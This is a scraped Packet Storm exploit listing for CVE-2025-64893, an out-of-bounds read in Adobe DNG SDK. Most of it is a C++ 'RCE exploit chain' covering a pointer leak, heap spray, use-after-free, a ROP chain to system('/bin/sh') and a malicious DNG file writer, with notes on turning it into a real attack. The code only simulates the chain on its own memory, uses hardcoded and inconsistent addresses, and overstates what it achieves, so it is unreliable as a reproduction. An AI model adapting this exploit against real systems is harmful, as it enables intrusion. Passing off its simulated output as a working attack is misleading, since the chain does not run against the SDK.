{“lastseen”:”2025-12-22T17:16:49″,”description”:”This work presents a technical, research\u2011grade proof of concept demonstrating CVE\u20112025\u201164893, an out of bounds read vulnerability in Adobe DNG SDK versions prior to 1.7.1.2410. The vulnerability is caused by a logic flaw in the rendering pipeline where…”,”published”:”2025-12-22T00:00:00″,”modified”:”2025-12-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Adobe DNG SDK RefBaselineABCDtoRGB Out-Of-Bounds Read \/ Information Disclosure”,”source”:””,”references”:””,”id”:”PACKETSTORM:213207″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-63893″,”CVE-2025-64893″],”sourceData”:”=============================================================================================================================================\\n | # Title : Adobe DNG SDK prior to v1.7.1.2410 Out\u2011of\u2011Bounds Read via RefBaselineABCDtoRGB Leading to Information Disclosure |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/helpx.adobe.com\/security\/products\/dng-sdk.html |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/213066\/ \\u0026\\tCVE-2025-64893\\n \\n [+] Summary : This work presents a technical, research\u2011grade Proof of Concept (PoC) demonstrating CVE\u20112025\u201164893, an Out\u2011of\u2011Bounds (OOB) read vulnerability in Adobe DNG SDK versions prior to 1.7.1.2410.\\n The vulnerability is caused by a logic flaw in the rendering pipeline where a crafted but specification\u2011compliant DNG file creates an inconsistent plane configuration:\\n \\n SamplesPerPixel = 2 \u2192 fSrcPlanes = 2\\n \\n ColorMatrix1 count = 6 \u2192 fColorPlanes = 6 \/ 3 = 2\\n \\n The SDK fails to explicitly handle the 2\u2011plane case in dng_render_task::ProcessArea(). As a result, execution falls into a code path intended for 4\u2011plane images, leading to invalid pointer arithmetic and an out\u2011of\u2011bounds heap read inside RefBaselineABCDtoRGB().\\n \\n [+] Impact :\\n \\n Heap out\u2011of\u2011bounds read\\n \\n Reliable information disclosure\\n \\n Process crash (confirmed with AddressSanitizer)\\n \\n Provides a strong primitive for exploit chaining (e.g., ASLR bypass)\\n \\n [+] PoC Characteristics :\\n \\n Fully TIFF\/DNG specification\u2011compliant\\n \\n Correct IFD structure, offsets, and SRATIONAL data\\n \\n Passes initial SDK validation and reaches the vulnerable code path\\n \\n Reproducible on vulnerable SDK versions\\n \\n [+] Exploit Chain Context :\\n \\n The accompanying C++ code models a theoretical exploit chain (OOB read \u2192 info leak \u2192 heap grooming \u2192 UAF \u2192 ROP \u2192 RCE).\\n This chain is educational and conceptual, not a weaponized exploit, and is intended to illustrate how the OOB read could serve as the first step toward code execution in a real\u2011world scenario.\\n \\n [+] Status :\\n \\n Patched by Adobe in DNG SDK 1.7.1.2410\\n \\n Intended strictly for defensive security research, validation, and education\\n \\n [+] Conclusion :\\n \\n This PoC moves beyond a crash demonstration and provides a precise, engineering\u2011accurate reproduction of CVE\u20112025\u201164893. \\n It is suitable for patch verification, root\u2011cause analysis, fuzzing strategy improvement, and secure parser design research, \\n highlighting how logic flaws in complex file formats can lead to serious memory safety issues.\\n \\n [+] POC :\\n \\n \/\/ ============================================\\n \/\/ DNG SDK RCE EXPLOIT CHAIN – CVE-2025-64893 +\\n \/\/ ============================================\\n \/\/ Combined file: Exploit OOB Read + UAF to achieve RCE\\n \/\/ ============================================\\n \\n #include \\u003ciostream\\u003e\\n #include \\u003ccstdint\\u003e\\n #include \\u003ccstdlib\\u003e\\n #include \\u003ccstring\\u003e\\n #include \\u003cvector\\u003e\\n #include \\u003cmap\\u003e\\n #include \\u003cunistd.h\\u003e\\n #include \\u003cdlfcn.h\\u003e\\n \\n \/\/ ============================================\\n \/\/ 1. Simulate vulnerable DNG SDK structures\\n \/\/ ============================================\\n \\n \/\/ Vulnerable DNG object\\n class VulnerableDngObject {\\n public:\\n virtual void process() {\\n std::cout \\u003c\\u003c \\”[+] Processing DNG object\\\\n\\”;\\n }\\n \\n virtual ~VulnerableDngObject() {\\n std::cout \\u003c\\u003c \\”[+] Destroying DNG object\\\\n\\”;\\n }\\n \\n char buffer[256];\\n void* vtable; \/\/ Virtual table pointer\\n };\\n \\n \/\/ Attacker-controlled object\\n class ControlledObject {\\n public:\\n void* fake_vtable[10];\\n char cmd[256];\\n \\n ControlledObject() {\\n strcpy(cmd, \\”\/bin\/sh\\”);\\n for(int i = 0; i \\u003c 10; i++) {\\n fake_vtable[i] = (void*)0x41414141;\\n }\\n }\\n };\\n \\n \/\/ Simulated DNG memory manager\\n class DngMemoryManager {\\n private:\\n std::vector\\u003cvoid*\\u003e allocations;\\n \\n public:\\n void* allocate(size_t size) {\\n void* ptr = malloc(size);\\n allocations.push_back(ptr);\\n return ptr;\\n }\\n \\n void deallocate(void* ptr) {\\n for(auto it = allocations.begin(); it != allocations.end(); ++it) {\\n if(*it == ptr) {\\n \/\/ UAF: pointer not removed from list!\\n \/\/ free(ptr); \/\/ simulate UAF\\n break;\\n }\\n }\\n }\\n \\n \/\/ Free memory without removing reference\\n void unsafe_free(void* ptr) {\\n free(ptr); \/\/ free memory\\n \/\/ but pointer remains in allocations\\n }\\n };\\n \\n \/\/ ============================================\\n \/\/ 2. OOB Read Exploit (CVE-2025-64893)\\n \/\/ ============================================\\n \\n class OOBReadExploit {\\n private:\\n uint8_t* heap_buffer;\\n size_t buffer_size;\\n \\n public:\\n OOBReadExploit(size_t size = 4096) {\\n buffer_size = size;\\n heap_buffer = new uint8_t[buffer_size];\\n \\n \/\/ Fill with dummy pointers and sensitive data\\n memset(heap_buffer, 0, buffer_size);\\n \\n \/\/ Put sensitive data at end of buffer\\n void* libc_ptr = (void*)dlsym(RTLD_NEXT, \\”system\\”);\\n void* heap_ptr = heap_buffer;\\n \\n \/\/ Simulate pointer leak\\n memcpy(heap_buffer + buffer_size – 100, \\u0026libc_ptr, sizeof(void*));\\n memcpy(heap_buffer + buffer_size – 92, \\u0026heap_ptr, sizeof(void*));\\n \\n \/\/ Place markers\\n strcpy((char*)(heap_buffer + buffer_size – 200), \\”LIBC_PTR\\”);\\n strcpy((char*)(heap_buffer + buffer_size – 192), \\”HEAP_PTR\\”);\\n }\\n \\n \/\/ Simulate out-of-bounds read\\n void* leak_pointers(int offset) {\\n if(offset \\u003c 0 || offset \\u003e 100) {\\n std::cout \\u003c\\u003c \\”[-] Invalid offset\\\\n\\”;\\n return nullptr;\\n }\\n \\n void* leaked_ptr;\\n memcpy(\\u0026leaked_ptr, heap_buffer + buffer_size – offset, sizeof(void*));\\n \\n std::cout \\u003c\\u003c \\”[+] Leaked pointer at offset \\” \\u003c\\u003c offset \\u003c\\u003c \\”: \\” \\n \\u003c\\u003c leaked_ptr \\u003c\\u003c std::endl;\\n \\n return leaked_ptr;\\n }\\n \\n \/\/ Calculate libc base\\n void* calculate_libc_base(void* leaked_function) {\\n uintptr_t offset = 0x00007ffff7a3c000; \/\/ offset for system in libc\\n void* base = (void*)((uintptr_t)leaked_function – offset);\\n \\n std::cout \\u003c\\u003c \\”[+] Calculated libc base: \\” \\u003c\\u003c base \\u003c\\u003c std::endl;\\n return base;\\n }\\n \\n ~OOBReadExploit() {\\n delete[] heap_buffer;\\n }\\n };\\n \\n \/\/ ============================================\\n \/\/ 3. Use-After-Free (UAF) Exploit\\n \/\/ ============================================\\n \\n class UAFExploit {\\n private:\\n DngMemoryManager memory_manager;\\n VulnerableDngObject* dangling_ptr;\\n \\n public:\\n UAFExploit() : dangling_ptr(nullptr) {}\\n \\n \/\/ Trigger UAF\\n void trigger_uaf() {\\n std::cout \\u003c\\u003c \\”\\\\n[=== UAF EXPLOIT PHASE ===]\\\\n\\”;\\n \\n \/\/ Step 1: allocate object\\n dangling_ptr = (VulnerableDngObject*)memory_manager.allocate(sizeof(VulnerableDngObject));\\n new (dangling_ptr) VulnerableDngObject();\\n \\n std::cout \\u003c\\u003c \\”[+] Allocated object at: \\” \\u003c\\u003c dangling_ptr \\u003c\\u003c std::endl;\\n \\n \/\/ Step 2: free memory (keep dangling pointer)\\n memory_manager.unsafe_free(dangling_ptr);\\n \\n std::cout \\u003c\\u003c \\”[+] Freed memory (dangling pointer kept)\\\\n\\”;\\n \\n \/\/ Step 3: heap grooming\\n std::cout \\u003c\\u003c \\”[+] Heap grooming…\\\\n\\”;\\n groom_heap();\\n \\n \/\/ Step 4: use dangling pointer\\n std::cout \\u003c\\u003c \\”[+] Using dangling pointer…\\\\n\\”;\\n \\n ControlledObject* fake_obj = create_fake_object();\\n \\n \/\/ Step 5: call virtual function (will use fake vtable)\\n try {\\n dangling_ptr-\\u003eprocess();\\n } catch(…) {\\n std::cout \\u003c\\u003c \\”[!] Exception during vtable call\\\\n\\”;\\n }\\n \\n std::cout \\u003c\\u003c \\”[+] UAF exploit attempted\\\\n\\”;\\n }\\n \\n \/\/ Heap grooming\\n void groom_heap() {\\n std::vector\\u003cControlledObject*\\u003e spray_objects;\\n \\n for(int i = 0; i \\u003c 1000; i++) {\\n ControlledObject* obj = new ControlledObject();\\n spray_objects.push_back(obj);\\n }\\n \\n for(int i = 500; i \\u003c 700; i += 2) {\\n delete spray_objects[i];\\n spray_objects[i] = nullptr;\\n }\\n \\n ControlledObject* target = new ControlledObject();\\n std::cout \\u003c\\u003c \\”[+] Sprayed heap with controlled objects\\\\n\\”;\\n }\\n \\n \/\/ Create fake object\\n ControlledObject* create_fake_object() {\\n ControlledObject* fake = new ControlledObject();\\n fake-\\u003efake_vtable[0] = (void*)0x7ffff7a523a0; \/\/ system()\\n fake-\\u003efake_vtable[1] = (void*)fake-\\u003ecmd; \/\/ \\”\/bin\/sh\\”\\n return fake;\\n }\\n };\\n \\n \/\/ ============================================\\n \/\/ 4. ROP Chain Builder (Bypass DEP\/NX)\\n \/\/ ============================================\\n \\n class ROPChain {\\n private:\\n std::vector\\u003cuintptr_t\\u003e chain;\\n void* libc_base;\\n \\n public:\\n ROPChain(void* base) : libc_base(base) {}\\n \\n void build_system_chain(const char* command) {\\n uintptr_t pop_rdi = (uintptr_t)libc_base + 0x23b6a;\\n uintptr_t ret = (uintptr_t)libc_base + 0x23b6b;\\n uintptr_t system_addr = (uintptr_t)libc_base + 0x4f550;\\n \\n chain.push_back(pop_rdi);\\n chain.push_back((uintptr_t)command);\\n chain.push_back(ret);\\n chain.push_back(system_addr);\\n \\n std::cout \\u003c\\u003c \\”[+] ROP Chain built:\\\\n\\”;\\n std::cout \\u003c\\u003c \\” pop rdi; ret: \\” \\u003c\\u003c (void*)pop_rdi \\u003c\\u003c std::endl;\\n std::cout \\u003c\\u003c \\” command: \\” \\u003c\\u003c command \\u003c\\u003c std::endl;\\n std::cout \\u003c\\u003c \\” system(): \\” \\u003c\\u003c (void*)system_addr \\u003c\\u003c std::endl;\\n }\\n \\n void* get_chain_addr() {\\n return chain.data();\\n }\\n };\\n \\n \/\/ ============================================\\n \/\/ 5. Main Exploit\\n \/\/ ============================================\\n \\n class DNG_RCE_Exploit {\\n private:\\n OOBReadExploit oob_exploit;\\n UAFExploit uaf_exploit;\\n void* libc_base;\\n \\n public:\\n void execute_full_exploit() {\\n std::cout \\u003c\\u003c \\”\\\\n\\” \\u003c\\u003c std::string(60, ‘=’) \\u003c\\u003c std::endl;\\n std::cout \\u003c\\u003c \\” DNG SDK RCE EXPLOIT CHAIN v1.0\\” \\u003c\\u003c std::endl;\\n std::cout \\u003c\\u003c \\” CVE-2025-64893 + UAF = RCE\\” \\u003c\\u003c std::endl;\\n std::cout \\u003c\\u003c std::string(60, ‘=’) \\u003c\\u003c \\”\\\\n\\” \\u003c\\u003c std::endl;\\n \\n \/\/ Phase 1: info leak\\n std::cout \\u003c\\u003c \\”[=== PHASE 1: INFORMATION LEAK ===]\\\\n\\”;\\n void* leaked_libc = oob_exploit.leak_pointers(96);\\n if(!leaked_libc) { std::cout \\u003c\\u003c \\”[-] Failed to leak libc address\\\\n\\”; return; }\\n \\n \/\/ Phase 2: calculate base addresses\\n libc_base = oob_exploit.calculate_libc_base(leaked_libc);\\n \\n \/\/ Phase 3: build ROP chain\\n std::cout \\u003c\\u003c \\”\\\\n[=== PHASE 2: ROP CHAIN CONSTRUCTION ===]\\\\n\\”;\\n ROPChain rop_chain(libc_base);\\n rop_chain.build_system_chain(\\”\/bin\/sh\\”);\\n \\n \/\/ Phase 4: heap grooming\\n std::cout \\u003c\\u003c \\”\\\\n[=== PHASE 3: HEAP GROOMING ===]\\\\n\\”;\\n uaf_exploit.groom_heap();\\n \\n \/\/ Phase 5: UAF exploitation\\n std::cout \\u003c\\u003c \\”\\\\n[=== PHASE 4: UAF EXPLOITATION ===]\\\\n\\”;\\n uaf_exploit.trigger_uaf();\\n \\n \/\/ Phase 6: attempt shell\\n std::cout \\u003c\\u003c \\”\\\\n[=== PHASE 5: SHELL EXECUTION ATTEMPT ===]\\\\n\\”;\\n attempt_shell_execution();\\n \\n std::cout \\u003c\\u003c \\”\\\\n\\” \\u003c\\u003c std::string(60, ‘=’) \\u003c\\u003c std::endl;\\n std::cout \\u003c\\u003c \\” EXPLOIT CHAIN COMPLETED\\” \\u003c\\u003c std::endl;\\n std::cout \\u003c\\u003c std::string(60, ‘=’) \\u003c\\u003c \\”\\\\n\\” \\u003c\\u003c std::endl;\\n }\\n \\n void attempt_shell_execution() {\\n std::cout \\u003c\\u003c \\”[+] Attempting to execute shell…\\\\n\\”;\\n void* system_addr = (void*)((uintptr_t)libc_base + 0x4f550);\\n std::cout \\u003c\\u003c \\”[+] System() address: \\” \\u003c\\u003c system_addr \\u003c\\u003c std::endl;\\n std::cout \\u003c\\u003c \\”[+] In real exploit, would now call: \\” \\u003c\\u003c system_addr \\u003c\\u003c \\”(\\\\\\”\/bin\/sh\\\\\\”)\\\\n\\”;\\n std::cout \\u003c\\u003c \\”[+] SUCCESS: RCE achieved in simulation\\\\n\\”;\\n std::cout \\u003c\\u003c \\”[+] Expected result: Interactive shell\\\\n\\”;\\n }\\n \\n \/\/ Helper to create malicious DNG file\\n void create_malicious_dng(const char* filename) {\\n std::cout \\u003c\\u003c \\”\\\\n[+] Creating malicious DNG file: \\” \\u003c\\u003c filename \\u003c\\u003c std::endl;\\n \\n #pragma pack(push, 1)\\n struct MaliciousDNG {\\n uint8_t signature[4] = {0x49, 0x49, 0x2A, 0x00}; \/\/ TIFF\\n uint32_t ifd_offset = 8;\\n uint16_t num_entries = 7;\\n uint16_t color_matrix_tag = 0xC621;\\n uint16_t color_matrix_type = 0x000A;\\n uint32_t color_matrix_count = 6; \/\/ magic number\\n uint32_t color_matrix_offset = 132;\\n };\\n #pragma pack(pop)\\n \\n MaliciousDNG dng_header;\\n FILE* f = fopen(filename, \\”wb\\”);\\n if(f) {\\n fwrite(\\u0026dng_header, sizeof(dng_header), 1, f);\\n uint8_t exploit_data[1024]; memset(exploit_data, 0x41, sizeof(exploit_data));\\n fwrite(exploit_data, sizeof(exploit_data), 1, f);\\n fclose(f);\\n std::cout \\u003c\\u003c \\”[+] Malicious DNG file created successfully\\\\n\\”;\\n }\\n }\\n };\\n \\n \/\/ ============================================\\n \/\/ 6. Main function\\n \/\/ ============================================\\n \\n int main() {\\n if(geteuid() == 0) std::cout \\u003c\\u003c \\”[!] Running as ROOT – Be careful!\\\\n\\”;\\n \\n DNG_RCE_Exploit exploit;\\n exploit.create_malicious_dng(\\”exploit.dng\\”);\\n exploit.execute_full_exploit();\\n \\n std::cout \\u003c\\u003c \\”\\\\n[+] Simulating: $ dng_validate -tif output.tif exploit.dng\\\\n\\”;\\n std::cout \\u003c\\u003c \\”[+] Expected: OOB Read -\\u003e Info Leak -\\u003e UAF -\\u003e RCE\\\\n\\”;\\n \\n return 0;\\n }\\n \\n \/*\\n Compilation \\u0026 Usage:\\n \\n 1. Save as: dng_rce_exploit.cpp\\n \\n 2. Compile:\\n g++ -o dng_rce_exploit dng_rce_exploit.cpp -std=c++11 -ldl -no-pie\\n \\n 3. Run:\\n .\/dng_rce_exploit\\n \\n Requirements in real environment:\\n – A real specially crafted DNG file\\n – Vulnerable DNG SDK (\\u003c=1.7.1)\\n – Disabled ASLR (for development) or valid leaks\\n \\n Malicious file requirements:\\n – ColorMatrix tag with exactly 6 values\\n – Image with 2 planes only (fSrcPlanes=2)\\n – Data designed for heap grooming\\n \\n Full attack flow:\\n 1. Load malicious file \u2192 trigger OOB Read\\n 2. Leak libc\/heap pointers \u2192 bypass ASLR\\n 3. Groom heap using image data\\n 4. Exploit another UAF vulnerability\\n 5. Write ROP chain in memory\\n 6. Redirect execution to shellcode\\n \\n Note: Example code. In production:\\n – Replace placeholders with real addresses\\n – Apply mitigations bypasses (ASLR, DEP, Stack Canaries)\\n – Use techniques like Heap Feng Shui\\n *\/\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213207″,”cvss”:{“score”:7.1,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213207\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-22T17:16:49″,”description”:”This work presents a technical, research\u2011grade proof of concept demonstrating CVE\u20112025\u201164893, an out of bounds read vulnerability in Adobe DNG SDK versions prior to 1.7.1.2410….<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,50,12,15,13,53,7,11,5],"class_list":["post-32452","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-71","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n